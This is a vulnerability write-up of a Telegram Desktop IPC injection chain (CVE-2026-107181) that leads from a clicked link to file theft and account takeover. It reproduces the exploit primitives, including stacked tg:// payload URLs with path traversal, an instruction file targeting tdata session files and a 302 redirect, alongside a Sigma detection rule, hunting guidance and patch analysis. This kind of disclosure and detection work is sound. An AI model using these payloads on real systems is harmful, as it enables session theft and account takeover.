
Executive Summary
Telegram Desktop, through 7.2.8, would take a clicked link, flatten it into a line of text, and hand that line to the already-running instance over a local socket. The socket grammar used a raw semicolon as a record terminator and never escaped it. A semicolon that was legal inside a tg:// query therefore became a second command on the other side of the wire. The second command could be OPEN:interpret:… — an internal URI scheme that was never registered with the operating system, never confirmed in the UI, and never checked for who asked. InterpretSendPath opened a named instruction file, read a file: path out of it, and uploaded that path to a channel or supergroup. BeakSec chained the two defects into a one-click account takeover: auto-downloaded instruction files in a group, a 302 from an ordinary https URL onto a stacked tg:// payload, and three session files lifted out of tdata. CVE-2026-107181, CVSS 8.1, confirmed on Windows 6.9.3, fixed in 7.2.9 by commit db3405699f.
This draft keeps BeakSec’s walk-through in source order: the two-process handoff, the unescaped separator, the leftover release-publishing URI, the relative path from %APPDATA%\Telegram Desktop into Downloads, the empty-passcode key wrap, the https-to-tg redirect, the seven-step proof of concept, the mitigations, the quiet changelog, and the ZDI timeline. Around that spine we add labeled diagrams for kitchen-table readers and operators, a CWE and ATT&CK map, a CVSS breakdown, a reading of the 7.2.9 patch beyond the blog’s summary, and a hunting checklist. The public PoC stays in the original post. This draft does not ship a redirect server or a session-rebuild script.
QUrl::FullyEncoded does not percent-encode ; because it is legal in a query, while Sandbox::readClients splits the Latin-1 IPC buffer on QChar(';') with no encoder. That is CWE-77 on a QLocalSocket record stream. The sink is CWE-862: interpret: in Application::checkStartUrls plus Support::InterpretSendPath performs a privileged local file send with no caller authorization and no confirmation. Delivery is UI:R via https → 302 → tg:// because in-chat tg:// (click_handler_types.cpp:278) never reaches the socket. ATT&CK T1566 / T1204.001 / T1550 / T1530 / T1048. Not remote code execution.
How to read this piece
- If you use Telegram Desktop and you are not reversing C++: read the green boxes, the seven-step picture, and the mitigations. The action is upgrade to 7.2.9 or later, turn on “ask where to save each file,” restrict who can add you to groups, and set a local passcode that is a real password.
- If you review desktop IPC and URI handlers: the blue boxes plus the verbatim
sandbox.cppserialize/deserialize snippets and the 7.2.9EscapeTo7bitnotes are the payload. Treat every single-instance socket as a deserializer. - If you hunt account takeover: jump to the process-creation telemetry for a second
Telegram.exewith atg://argument that contains a semicolon, the auto-download folder, and the threetdatafilenames. Version inventory beats signature soup: anything through 7.2.8 is the vulnerable matrix BeakSec named.

Introduction
Someone adds you to a Telegram group. A link shows up in the chat. You click it, and your Telegram account is no longer only yours.
How?
Telegram Desktop hands clicked links to its own already-running instance over a local socket, as text, and never escapes the character it uses to separate commands. So a crafted link does not arrive as one instruction: it arrives as several.
The chain BeakSec found has two defects. The first is that injection. The second is what the injected command reaches: an internal URI scheme, interpret:, that reads a file named in an instruction file and sends it to a chat, without checking who asked for it and without a confirmation. Together they turn a clicked link into arbitrary file read. The write-up walks through the chain and then uses it to steal the files that are the victim’s login.
| Field | Value |
|---|---|
| Affected | Telegram Desktop through 7.2.8, confirmed on Windows (6.9.3) |
| Impact | Remote arbitrary local file read, exfiltrated to an attacker-controlled chat; account takeover |
| CVE | CVE-2026-107181 |
| Fixed in | 7.2.9, commit db3405699f |
| Severity | 8.1 High, CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N |
| Author | beaksec |
| Published | 3 Oct 2026 (updated 7 Oct 2026) |
| License | CC BY 4.0 |
| Confirmed platform | Windows (6.9.3). Linux/macOS share the same C++ sources; BeakSec confirmed the chain on Windows. |

One link, two processes
Operating systems let programs register a URI scheme, so they know which application to launch when they meet a link of that kind. Telegram Desktop registers tg. From then on the system knows a tg://... link belongs to Telegram, and launches it with the URL as a command-line argument.
If Telegram is not running, the process starts, takes the string as a parameter, turns it into a URL object and handles it internally: one process, and nothing to communicate.
But what if Telegram is already running? The operating system neither knows nor checks: it launches a new process anyway, identical to the first. Telegram itself has to work out that it is the redundant one, and the way it works that out is by trying to connect to a local socket.
The already-running instance is the server: it has been listening on that socket since it started. The new process is the client. If it manages to connect, an instance is already alive, so it hands over the link and exits.
A socket does not carry objects, it carries bytes. The URL object the new process holds in memory cannot cross that channel, so it has to be flattened into a line of text.
That operation has a name: serialization. Its inverse, rebuilding the object from the text, is deserialization. Both are unavoidable whenever structured data has to cross a boundary, and both are the exact point where the boundaries inside the data stop being held by the structure and become characters in the text.
Telegram does it with a format of its own, a simple one. Each instruction is a keyword, then its argument, then a semicolon that closes it. A link to open becomes:
OPEN:tg://x?a=1;
tg://x?a=1 matches no handler inside Telegram, so on its own that link does nothing. It is only a carrier.
That line is built here, one per URL to open:
// sandbox.cpp:295-297
for (const auto &url : cRefStartUrls()) {
commands += u"OPEN:"_q + url.toString(QUrl::FullyEncoded) + ';';
}
On the other side the running instance deserializes: it reads the received bytes, cuts them at every semicolon, and treats each piece as an instruction in its own right. For each piece starting with OPEN: it takes what follows and rebuilds it as a URL, exactly as if it had just arrived on the command line.
// sandbox.cpp:453-463 (abbreviated)
for (int32 to = cmds.indexOf(QChar(';'), from); to >= from; ...) {
auto cmd = base::StringViewMid(cmds, from, to - from);
...
} else if (cmd.startsWith(u"OPEN:"_q)) {
startUrls.append(cmds.mid(from + 5, to - from - 5).mid(0, 8192));


QLocalServer / QLocalSocket (named pipe on Windows). The buffer is decoded with QString::fromLatin1. Record size is capped at 8192 after the OPEN: prefix. There is no HMAC, no origin, no PID allow-list beyond “someone connected to our socket.” Same-user local IPC is treated as trusted. That assumption is what a URI-handler click violates: the click is remote in origin and local in delivery.What a URI handler actually is
A custom protocol handler is a contract with the operating system. On Windows the tg scheme lives under the usual HKEY_CLASSES_ROOT\tg\shell\open\command shape; on other desktops it is a desktop-file or Launch Services record. The OS does not parse the URL beyond “this scheme belongs to that executable.” It does not know Telegram is already running. It does not know the query contains a semicolon. It launches.
Every Electron app, every Slack/Discord/Spotify-class desktop client, every VPN helper that registers myapp:// has this shape. The bug class is older than Telegram: if the second process must talk to the first, the channel is a parser, and parsers on local sockets are routinely written as if the only speaker were a later copy of yourself. A browser-mediated click is a speaker you did not invite.
The unescaped separator
So what happens if one of the transmitted values contains a semicolon of its own, the very character the format uses as a separator? Take the link from before and add something to it:
tg://x?a=1;CMD:quit
The new process treats it as a single URL, because to it that semicolon is just a character inside the query. It flattens it and writes it to the socket:
OPEN:tg://x?a=1;CMD:quit;
The running instance cuts at every semicolon and gets two instructions instead of one:
OPEN:tg://x?a=1
CMD:quit
That is the injection, and it is the first of the two defects.

QUrl::FullyEncoded percent-encodes characters that are illegal in a URL. ; is legal in a query (sub-delims in RFC 3986). The IPC grammar then uses that same octet as a record terminator. Two grammars, one character, no encoder between them. Classic CWE-77. The 8192-byte cap is per record after the split, so stacking OPEN: commands is limited by the URL length the OS and the browser will accept, not by a single 8 KiB bucket.Why CMD:quit is a toy, and why that is not comforting
BeakSec’s first injected example is CMD:quit because it is easy to see: the running app closes. The write-up is explicit that CMD: accepts only show and quit. Closing an already-open Telegram is a nuisance, not an account takeover. The injection is still the defect. What you can inject is a function of which verbs the deserializer honors, and one of those verbs is OPEN: with no scheme filter.
Four commands are accepted in total, and three of them are harmless in isolation. The fourth is the one that turns a local-socket curiosity into a remote file read. Desktop IPC reviews that stop at “can I crash or quit the app” miss the interesting sink. The sink is whatever privileged helper is still hanging off the start-URL list.
The interpret: URI scheme
The example above injected CMD:, but don’t be misled by the name: it accepts only show and quit, so the worst it can do is close the app.
Four commands are accepted in total, and three of them are harmless. The fourth is OPEN:, and there is the detail: it accepts any URL, with no filter on the scheme.
Digging through the code turns up another URI scheme inside Telegram, called interpret:.
The operating system would not know what to do with a link starting with interpret:, because it is registered nowhere as a protocol handler: it exists only inside Telegram’s own code, which picks the scheme up off the start-URL list like any other.
// application.cpp:1162-1164
if (url.scheme() == u"interpret"_q) {
interprets.append(url.path());
return false;
Through OPEN:, then, it is reachable:
tg://x?a=1;OPEN:interpret:instructions.txt
So what is interpret: for?
It was the tool Telegram used to publish its own releases. When a new version shipped, the build archive had to be posted to a channel with the changelog as its caption. Rather than doing that by hand, a script wrote a small text file naming the channel, the file to send and the text to write, then launched Telegram with the path to that file.
# Telegram/build/updates.py:206
subprocess.call(... 'Telegram -sendpath interpret://' + scriptPath
+ '/.../command.txt', shell=True)
The instruction file looks like this:
from: 1234567890
channel: 1987654321
file: out/Release/deploy/6.9.3/tsetup.6.9.3.exe
caption: TDesktop at 12.06.26:
- Fixed a crash in the media viewer.
- Added a new sticker pack.
The value of from: is compared against the id of the currently logged-in account: it keeps an operator from publishing a release from the wrong one. The check only runs if the line is present, so leaving it out skips it. The destination is set only by channel:, and has to be a channel or a supergroup.
A function called InterpretSendPath does the work.
So where is the bug? interpret: performs a privileged action, reading any file off the disk and sending it to a chat, without asking anyone for confirmation and without checking who asked for it.
The function performs no authorization check.
// support_helper.cpp:673-680
QString InterpretSendPath(
not_null<Window::SessionController*> window,
const QString &path) {
QFile f(path);
if (!f.open(QIODevice::ReadOnly)) {
return "App Error: Could not open interpret file: " + path;
}
const auto content = QString::fromUtf8(f.readAll());
When that comes from the command line, which is how the release script invokes it, it is not a problem: an attacker would need a foothold on the machine already, and with one they can read the files themselves. But once the same action is reachable through the socket, and therefore through the injection, a dangerous function becomes available from a link the victim clicks.
That is a missing authorization, and it is the second of the two defects.
interpret: path that arrived through a socket the deputy treats as self. from: is an operator-safety check against posting from the wrong account, not an authorization check against untrusted callers; omitting the line skips it. Destination is restricted to channel/supergroup, which is why the attacker’s loot box is a group they control, not a DM. QFile::readAll on the instruction file is UTF-8 text parse, then a second open of file:. Relative paths resolve from the process working directory.Internal URI schemes are still URI schemes
A scheme that is not registered with the OS is not hidden from the app. It is hidden from everyone except the app. OPEN: with no allow-list is a trampoline: anything the start-URL dispatcher already knows how to do becomes reachable from the socket, and therefore from a clicked tg:// that smuggles extra records. Reviewers who grep for RegisterShell / protocol-handler tables will miss interpret: because it was never a protocol handler. It was a private verb on a public list.
The release script in Telegram/build/updates.py is the archaeological tell. A helper that exists to post binaries to a channel is, by construction, an arbitrary-file-send primitive. Leaving it compiled into the consumer build, reachable from start URLs, is the kind of leftover that survives for years because it is useful to the people who work on the product. Commit db3405699f is titled “Remove legacy interpret path helper.” The title is accurate. The helper was legacy. The reachability was not.
Getting the instruction file onto disk
An attacker who could place an instruction file on the victim’s disk, pointing file: at a path worth stealing and channel: at a channel of their own, could exfiltrate any file from that machine with nothing more than a clicked link.
So how does an attacker place a text file at a predictable path on someone else’s disk? The obvious way is to send it as a chat attachment.
As it happens, Telegram Desktop in its default configuration downloads files received in groups up to 8 MiB automatically, while in broadcast channels automatic download is off. The file lands in a standard folder, under the same name the sender chose, without the victim clicking on it, and in a predictable place (a name collision would make Telegram save instructions1 (2).txt instead). Some formats, such as stickers, GIFs and voice messages, go to an internal cache instead and would not be reachable as a path on disk.
Telegram builds that path itself (file_utilities.cpp:172-181). On Windows:
C:\Users\<user>\Downloads\Telegram Desktop\<file name>
By sending the file into the group, the attacker knows exactly where it will be saved. The path still seems to hold one unknown, the Windows user name, but interpret: also accepts relative paths, and a relative path is resolved from Telegram’s own working directory, which is its data folder (logs.cpp:381). On Windows that is %APPDATA%\Telegram Desktop, three levels below the user’s home directory, and Downloads sits directly in that home directory. So a path like this one:
interpret:../../../Downloads/Telegram%20Desktop/instructions.txt
gives the attacker a deterministic path without ever needing the user name.

interpret: so much as documented relative-path behavior plus a stable working directory. Telegram%20Desktop is the FullyEncoded space. Collision behavior ( (2) suffix) is the only filename jitter; a unique name removes it. The same group is both drop zone and, later, exfil channel, because InterpretSendPath will only send to a channel or a supergroup.Why the working directory matters more than the username
A lot of desktop exploits die on C:\Users\%USERNAME%. BeakSec’s relative climb makes the username irrelevant. %APPDATA% on a default English Windows profile is C:\Users\<user>\AppData\Roaming. Telegram’s data folder is one more component, Telegram Desktop. From there, ..\..\.. is the profile root, and Downloads\Telegram Desktop is a sibling of AppData. The same arithmetic works for any username, including ones with spaces, because the climb never writes the username into the URL.
Redirected folders, OneDrive-backed Desktop/Downloads, and non-English profile names can move Downloads. The write-up is a default-install chain, confirmed on Windows 6.9.3. Operators who want to know whether a specific fleet is reachable should check whether Telegram’s cwd is still the data folder and whether group auto-download still lands in Downloads\Telegram Desktop for that build and locale. Those are inventory questions, not a reason to ignore 7.2.8.
From file read to account takeover
InterpretSendPath sends exactly one file per invocation: if an instruction file holds several file: lines, only the last one counts. Two things lift that limit. Nothing stops an attacker from posting as many instruction files as they want, and the injection does not stop at the first command: every semicolon opens another. Three targets, then, are three instruction files and three stacked commands in one link.
tg://x?a=1
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt
The primitive stays the same throughout: arbitrary file read. What changes is what you read: an SSH private key, a browser password store, a cloud credentials file, or a configuration holding an API token.
Telegram does not keep local data in the clear, so everything the user holds on disk is encrypted, including the session authorization. That is the key the client uses to identify itself to Telegram’s servers, and holding it is enough to be that account, much like a session cookie on a website.
Telegram uses key wrapping. Two keys are involved. The first, the DEK (Data Encryption Key), is long, random and high-entropy, and encrypts the user’s data. The second, the KEK (Key Encryption Key), encrypts only the DEK, and is not the password: it is derived from the password through a key derivation function (KDF), together with a salt stored next to the encrypted DEK.
In pseudocode, the chain that opens the local data looks like this:
salt, encrypted_DEK = read("tdata/key_datas")
passcode = user_passcode() # empty if none is set
KEK = KDF(passcode, salt)
DEK = decrypt(encrypted_DEK, KEK)
session = decrypt(authorization_file, DEK)
By default Telegram Desktop has no local passcode: you have to open the settings and set one. With none set, the password feeding the derivation is empty (storage_domain.cpp:102), so the KEK comes from the empty string and a salt, and that salt is stored in the clear in tdata/key_datas, the same file that holds the encrypted DEK. Reading that one file is enough to recompute the KEK and unwrap the DEK.
So with no passcode set, whoever gets key_datas gets the DEK, and with the DEK everything else decrypts, session authorization included.
Three files are involved, and only two of them hold secrets:
tdata/
├── key_datas the salt and the encrypted DEK
├── D877F783D5D3EF8Cs the MTProto authorization, encrypted with the DEK
└── D877F783D5D3EF8C/
└── maps the index of the account's stored data
That folder name is not random and not specific to an installation. It is derived from the string data, the default data name (storage_file_utilities.cpp:241-250). It is identical on every install.
The third file is an index, and it holds no secrets. The session still will not load without it: Telegram reads the authorization only while reading that index. Stealing it, though, is a choice: an attacker could just as well build one. In this proof of concept it is simply taken along with the other two, for convenience.
It follows that an attacker holding all three has the account: drop them into a fresh tdata, start Telegram, and the victim’s session opens.


key_datas.storage_domain.cpp:102). Local passcode does not stop the file read; it changes the stolen blob from “session” into “offline brute-force of the passcode.” Treat a local passcode like a disk-encryption password, not like a PIN. D877F783D5D3EF8C is a stable hash of the default data name data; it is an IOC for the default profile, not a per-user identifier. The maps file is required for a dumb drop-in; a motivated attacker can synthesize it.What else the same primitive reads
Account takeover is the headline because the three tdata files are enough to be the user. The primitive underneath is arbitrary local file read, exfiltrated over the victim’s own Telegram session, to a destination the attacker chose. BeakSec lists the obvious neighbors: SSH private keys, browser password stores, cloud credential files, API-token configs. Those reads have the same UI:R delivery and the same missing confirmation. A local passcode on Telegram does not protect %USERPROFILE%\.ssh\id_rsa. The passcode only wraps Telegram’s own DEK.
The 8 MiB auto-download cap is on the instruction file, not on the stolen file. The instruction file is a few dozen bytes of UTF-8. The stolen file can be larger; what limits it is whatever InterpretSendPath and the Telegram upload path will accept, plus the fact that the upload is happening from the victim’s account, with the victim’s bandwidth, in a group the victim can see if they look. Stealth is not the selling point. Speed is.
Delivering the link
The attack needs one click from the victim, and it has to come from outside Telegram. A tg:// link clicked inside a Telegram chat is handled in-process (click_handler_types.cpp:278) and never reaches the socket, so there is nothing to inject into. Normal https links, on the other hand, open in the system browser (ui_integration.cpp:437), because Telegram Desktop has no embedded one. So the attacker sends an ordinary https link and has their own server redirect it to the crafted tg:// one.
GET /rules HTTP/1.1
Host: corvus.sec
HTTP/1.1 302 Found
Location: tg://x?a=1;OPEN:interpret:instructions.txt
Depending on the browser, and on whether the victim has used the handler before, the system may ask for confirmation before launching Telegram.


tg:// is why a naive “just send the payload as a tg-link in the group” PoC fails. The 302 is not an extra flourish; it is required to cross from in-process to argv. Browser telemetry (Chrome/Edge Location: tg:// with an embedded semicolon) is therefore as useful as process-creation telemetry. First-time protocol-handler prompts are a user-visible speed bump, not a security boundary: a victim who has already opened a tg:// link once may never see it again.The host name in the write-up
corvus.sec is BeakSec’s example host. It is not a live exploit server in this draft. The HTTP transcript is the public proof shape: a 302 whose Location is the stacked tg:// record. Re-hosting a working redirector would add nothing to the explanation and would cross the line from write-up into drop-in. Operators who need to test the 7.2.9 fix should do it in their own lab against their own handler, with a URL they control.
Proof of concept
BeakSec published a seven-step chain. The steps below are the original sequence, with the original instruction-file and URL examples. They are a laboratory description of a patched bug, not a package to run against anyone else’s account.
- The attacker creates a supergroup and adds the victim to it. Telegram’s default privacy setting allows this with no confirmation from the invitee.
- The attacker posts three instruction text files in the group, one for each file to be stolen, all naming the attacker’s own group as the destination. Omitting the
from:line skips the account check entirely. - The attacker sends an innocuous link into the chat:
https://corvus.sec/rules. - The victim clicks it. The browser follows the redirect, which this time carries one command per target, wrapped here but sent as a single line.
- The operating system launches a second Telegram process, which forwards the URL to the running one over the socket. The unescaped semicolons split it, and the injection fires.
- The three
interpret:commands execute, and the three files are uploaded to the attacker’s group. No confirmation dialog is shown. - The attacker rebuilds
tdatafrom the three files and opens the victim’s account.
The instruction file from step 2, as published:
channel: 2001234567
file: tdata/key_datas
caption: poc
The file has to be plain text with LF line endings and no byte-order mark. The other two point at tdata/D877F783D5D3EF8Cs and tdata/D877F783D5D3EF8C/maps. Automatic download saves all three to the victim’s disk when the victim opens the group, which they do anyway, because that is where the link in step 3 is waiting.
The stacked redirect target from step 4, as published (wrapped here, sent as a single line):
tg://x?a=1
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions1.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions2.txt
;OPEN:interpret:../../../Downloads/Telegram%20Desktop/instructions3.txt

file: paths are relative to cwd, so tdata/key_datas is the local profile, not an absolute Windows path. No UAC, no additional window, no “Telegram wants to send a file” dialog.Two defects, several names
It helps to keep the two bugs separate even though the chain needs both. An unescaped separator without a privileged sink is a quit/show gadget. A privileged sink that is only reachable from the command line is a local convenience. Crossing them is the account takeover.
| Piece | CWE | What fails | Where |
|---|---|---|---|
| Unescaped IPC separator | CWE-77 | Record boundary taken from attacker data | sandbox.cpp serialize / indexOf(';') deserialize |
| No scheme filter on OPEN: | CWE-20 / CWE-939 | Internal schemes reachable from the socket | OPEN: handler, start-URL list |
| interpret: leftover | CWE-862 | Privileged file-send, no caller auth, no UI | application.cpp, InterpretSendPath |
| Instruction path | CWE-73 | Attacker names the file to send | file: line plus relative path |
| from: optional | CWE-862 (aggravating) | Account check skipped if the line is absent | instruction-file parser |
| Empty local passcode | CWE-261 / wrapping under empty secret | KEK is KDF(“”, salt) | storage_domain.cpp:102, tdata/key_datas |
| Auto-download drop | helpful default | Instruction file lands without a click | groups, ≤ 8 MiB |
| https 302 to tg:// | delivery | Forces argv / socket path | ui_integration.cpp:437 vs click_handler_types.cpp:278 |

MITRE ATT&CK
| ID | Name | How it shows up here |
|---|---|---|
| T1566 | Phishing | A link in a group the victim did not ask to join. |
| T1204.001 | User execution: malicious link | The required click. CVSS UI:R. |
| T1550 | Use of alternate authentication material | Stolen MTProto authorization used as the account. |
| T1530 | Data from cloud storage object / local analog | Local tdata files, which are the cloud session on disk. |
| T1005 | Data from local system | Arbitrary file read via InterpretSendPath. |
| T1048 | Exfiltration over alternative protocol | Upload through the victim’s own Telegram session into the attacker’s group. |
| T1071.001 analog | Application layer protocol | The exfil channel is Telegram, not a new C2 socket. |
| T1219 analog | Remote access software | The stolen session is remote access to the account. |
What this is not
- It is not remote code execution. No shell, no
CreateProcessfrom the payload, no ROP. - It is not an unauthenticated network service bug. Telegram Desktop is not listening on the internet for this; the click is the network.
- It is not a cryptographic break of MTProto. The wrap is sound when the passcode is a real secret. The default is that the passcode is empty.
- It is not a bug in Telegram-the-protocol. It is a bug in Telegram Desktop’s single-instance IPC plus a leftover helper.
- It is not confirmed by BeakSec on Linux or macOS in the write-up, even though the sources are shared. Windows 6.9.3 is the confirmed point.
Mitigations
Upgrade to 7.2.9 or later. That is the only thing that actually closes the problem. The rest reduces exposure.
- Turn on “ask where to save each file”. With that setting, automatic download does not happen at all, and the instruction file never reaches the disk. It is the most effective mitigation short of upgrading.
- Limit who can add you to groups to your contacts only. Stolen files can only be sent to a channel or a supergroup, so this takes away the place the attacker would have them delivered to.
- Set a local passcode, and choose it like a real password. It does not prevent the files from being stolen; it only makes the stolen session unusable.
key_datas without killing other-file reads. None of the three is a substitute for 7.2.9. Fleet action is version inventory of Telegram.exe / package telegram-desktop, plus a GPO/Intune nudge for the three settings on stragglers.Fix
Fixed by commit db3405699f on 16 September 2026. The changelog dates 7.2.9 to the same day; the release was published the following morning. The commit removes the interpret:// scheme and Support::InterpretSendPath entirely, and escapes the record separator on the single-instance socket: values are escaped with a percent-prefixed hex encoding before being written and decoded after the split, so a semicolon in the data can no longer become a boundary.
It also adds two measures beyond that: CMD: and CTRL: records are skipped when the same connection carries an OPEN:, and local file paths are dropped once a non-local URL has appeared on that connection.
What the patch looks like in sandbox.cpp
The public commit is the ground truth. EscapeTo7bit walks each UTF-16 code unit and, for anything below 32, above 127, or equal to % or ;, writes a percent and four hex digits. EscapeFrom7bit is the inverse, applied to the payload of an OPEN: record after the semicolon split. A semicolon that used to be a boundary is now %003b (or the four-nibble form the helper actually emits) inside a single record. The split still happens on raw ;, which is correct once the data can no longer contain one.
The extra measures are defense in depth, and the comment in the patch says why. A legitimate link launch carries a single non-file URL. A send-files launch carries only local paths. A connection that mixes both is treated as evidence that the sender failed to escape the record separator. Once a non-file URL has been seen on that connection, subsequent local paths are logged and dropped. Independently, CMD: and CTRL: are ignored on a connection that also carried OPEN:, so even a still-unescaped mix cannot quit the app or hit the external-control path in the same breath as a URL open.
application.cpp loses the interpret scheme branch. support_helper.cpp loses InterpretSendPath. The release script in updates.py is updated so Telegram’s own shipping path no longer depends on the helper. Removing the sink is stronger than filtering it. An allow-list on OPEN: would have been a third option; deleting the leftover verb makes the allow-list less urgent and also kills any future confused-deputy use of the same helper from a different bug.
// 7.2.9 idea, from commit db3405699f (abbreviated, not a drop-in patch)
commands += u"OPEN:"_q
+ EscapeTo7bit(url.toString(QUrl::FullyEncoded))
+ ';';
// ...
urls.append(EscapeFrom7bit(cmd.mid(5)).mid(0, 8192));
if (hasOpen) continue; // skip CMD: / CTRL: on mixed connections
if (externalUrlReceived && url.isLocalFile()) continue;
% itself is escaped, which is what makes the encoding unambiguous. fromLatin1 on the buffer is unchanged; the escaping happens in the QString domain. The mixed-connection heuristic is a second parser sitting on top of the first. It would not be enough on its own if interpret: had stayed, because interpret: is not a local-file URL in the QUrl::isLocalFile sense — it is a custom scheme. Deleting the scheme is what closes the published chain. The heuristic closes a class of “smuggle a file path next to a URL” follow-ups.Timeline
| Date | Event |
|---|---|
| 2026-06-25 | Reported through ZDI |
| 2026-09-16 | Vendor fixes the issue independently, commit db3405699f |
| 2026-09-17 | Telegram Desktop 7.2.9 published |
| 2026-09-30 | ZDI closes the case as already fixed; disclosure rights return to BeakSec |
| 2026-10-03 | This writeup |
| 2026-10-07 | CVE-2026-107181 assigned |
The fix shipped quietly: the 7.2.9 changelog mentions only a rendering fix, the commit that closes the chain is titled “Remove legacy interpret path helper”, and no advisory accompanied it.
Hunting and detection
The original post is an exploit write-up, not a detection paper. The notes below are additions for people who have to answer “did this land in our fleet.” They are leads, not a guaranteed Sigma pack. Telegram’s own traffic is encrypted; the useful telemetry is on the endpoint and, secondarily, in the browser.
Inventory first
- Collect Telegram Desktop versions. Anything through 7.2.8 is the matrix BeakSec named. 7.2.9 is the floor.
- Windows confirmation point is 6.9.3; do not treat that as the only vulnerable build. The code is the through-7.2.8 line.
- Record install path and whether the process is running as the interactive user (it should be). This is not a service-as-SYSTEM bug.
- Note who still has group auto-download on, who allows anyone to add them to groups, and who has no local passcode. Those are exposure flags after the patch too.
Endpoint leads
- Process creation: a second
Telegram.exe(orTelegramon other OS) whose command line containstg://and a semicolon, especially withOPEN:interpret:or../../../Downloads/Telegram. Parent is often the browser. - Protocol handler: first-time or repeated launches of the
tgscheme from chrome/msedge/firefox shortly after a 302. - File create: new
*.txtunder%USERPROFILE%\Downloads\Telegram Desktop\whose contents start withchannel:andfile:and lackfrom:. - File read / upload: Telegram reading
%APPDATA%\Telegram Desktop\tdata\key_datas,D877F783D5D3EF8Cs, andD877F783D5D3EF8C\mapsin a burst, followed by an outbound media send, while the UI shows no “send file” dialog. Burst-plus-no-UI is the tell; those files are also read on legitimate startup. - Browser history / proxy: 302
Locationheaders that start withtg://and contain;OPEN:.
What will not help
- TLS inspection of MTProto. You will not see
key_datason the wire as a filename in clear HTTP. - A YARA rule on the Telegram binary looking for the string
interpret. That string exists in vulnerable and in some surrounding code; version inventory is cleaner. - Blocking
tg://outright without a business decision. The scheme is how Desktop is supposed to open. Blockingtg://URLs that contain a semicolon is more proportionate, and 7.2.9 makes that particular smuggling stop working anyway.
A starting Sigma-shaped rule
The following is a draft hunting rule for Windows process creation. Tune the image names to your environment. It is not from the original post.
title: Telegram Desktop launched with injected IPC separator in tg:// URL
id: 7c2e1b90-tdesktop-ipc-semicolon
status: experimental
description: >
A second Telegram process started from a URI handler whose argument
contains a semicolon. On vulnerable builds this is how extra OPEN:/CMD:
records are smuggled across QLocalSocket.
logsource:
category: process_creation
product: windows
detection:
selection_img:
Image|endswith:
- '\Telegram.exe'
- '\Telegram Desktop\Telegram.exe'
selection_cmd:
CommandLine|contains:
- 'tg://'
selection_sep:
CommandLine|contains:
- ';OPEN:'
- ';CMD:'
- ';CTRL:'
- 'interpret:'
condition: selection_img and selection_cmd and selection_sep
falsepositives:
- Unusual but legitimate tg:// deep links that include a semicolon in a query
level: high
tags:
- attack.initial_access
- attack.t1566
- cve.2026.107181
Pair it with a file-event rule on Downloads\Telegram Desktop\*.txt containing file: tdata/. Either rule alone will false-positive. Together, plus a version check, they are a weekend hunt.
IR if you think it landed
- Upgrade that host to 7.2.9 or later immediately so a second click cannot repeat the chain.
- Treat the Telegram account as compromised: terminate sessions from Telegram’s session list, rotate the account’s 2FA if it was on, and assume DMs and group memberships were read.
- If no local passcode was set, assume
tdatais enough for a parallel client. If a local passcode was set, assume the files still left the machine and the passcode is now an offline target. - Look at the group the user was recently added to. The instruction files and the loot both live there. Preserve that chat.
- Hunt the rest of the fleet for the same group add, the same
tg://command line, and the same Downloads filenames. - Remember the primitive is arbitrary file read. Ask what else that account’s Desktop could see: SSH keys, cloud creds, browser stores in the user profile.
BeakSec on YouTube
If you’re into this kind of thing, I publish cybersecurity stuff on BeakSec, my YouTube channel. It’s new, so subscribing helps.
beaksec, original post
Fediverse: @beaksec@defcon.social. GitHub: github.com/beaksec.
Lessons for people who ship desktop apps
The interesting part of this bug, once the Telegram-specific dust settles, is a checklist that applies to any single-instance desktop client with a custom URI scheme.
- Your second process is a remote speaker. A URI-handler click is not “us, later.” Encode like you would encode a network protocol.
- Separators must be escaped, or they must be impossible in the data. Length-prefix records beat delimiter records. If you keep delimiters, escape the delimiter, the escape character, and the non-ASCII range, then decode after the split.
- Start-URL dispatchers need a scheme allow-list. Private verbs that are useful to your release engineering do not belong on the same list the socket can feed.
- Privileged helpers need a caller. Command-line-only is not an authorization model once anything else can populate argv or the socket. Delete leftover helpers. Do not hide them.
- Optional security checks that skip when the field is absent are not checks.
from:is the exhibit. - Auto-download plus a stable path is a dropper. If your client writes attacker-named files to a known folder, assume those files will be arguments to something else you do.
- Default-off local encryption keys are wrapping theater. An empty passcode plus a public salt is a public KEK.
- Quiet patches do not reach the people who need them. A rendering changelog for an account-takeover fix is how fleets stay on 7.2.8.
Lessons for people who only wanted to keep their account
- Update Telegram Desktop. Look at the version in Settings. You want 7.2.9 or newer.
- In Settings → Advanced → Download path, ask where to save files, or at least turn off automatic download in groups.
- In Privacy, only contacts should be able to add you to groups, unless you have a reason.
- Set a local passcode. Make it long. It is the wrap on the DEK. It is not your Telegram cloud password, and it is not 2FA; you want those too.
- If a stranger added you to a group and a “rules” link was waiting, and you clicked it on an old build, assume the account needs a session sweep.
Key Takeaways
- CVE-2026-107181 is a one-click Telegram Desktop account takeover through 7.2.8, confirmed on Windows 6.9.3, CVSS 8.1 (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N), fixed in 7.2.9.
- Defect one is CWE-77: an unescaped semicolon on the single-instance
QLocalSocketrecord stream.QUrl::FullyEncodeddoes not encode;. - Defect two is CWE-862: leftover
interpret:/InterpretSendPathsends a named local file to a channel or supergroup with no caller check and no confirmation. - Delivery is a group auto-download of instruction files plus an
https302 onto a stackedtg://URL. In-chattg://never hits the socket. - With the default empty local passcode,
tdata/key_datasplus the two companion files rebuild the session. The folder nameD877F783D5D3EF8Cis constant. - The 7.2.9 commit deletes the helper, percent-hex-escapes the IPC separator, ignores
CMD:/CTRL:on mixedOPEN:connections, and drops local paths after a non-local URL. - The 7.2.9 changelog mentioned a rendering fix. Version inventory beats release bullets.
Defensive Recommendations
- Patch Telegram Desktop to 7.2.9 or later everywhere it runs. This is the only complete close.
- Inventory versions; treat through 7.2.8 as vulnerable even if the changelog was quiet.
- Turn on “ask where to save each file” (or disable group auto-download) as a belt-and-suspenders control on stragglers.
- Restrict group adds to contacts. That removes the no-consent drop zone and the legal exfil destination type.
- Set a strong local passcode. It does not stop the file read; it stops empty-string unwrapping of the DEK.
- Hunt process-creation of Telegram with
